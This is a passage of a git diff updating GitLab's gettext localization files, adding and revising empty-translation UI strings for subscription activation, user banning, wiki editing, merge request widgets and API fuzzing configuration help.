@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/az_AZ/gitlab.po b/locale/az_AZ/gitlab.po
index ae92df58e6f..db352fb27ec 100644
--- a/locale/az_AZ/gitlab.po
+++ b/locale/az_AZ/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: az\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:13\n"
+"PO-Revision-Date: 2021-06-01 20:24\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
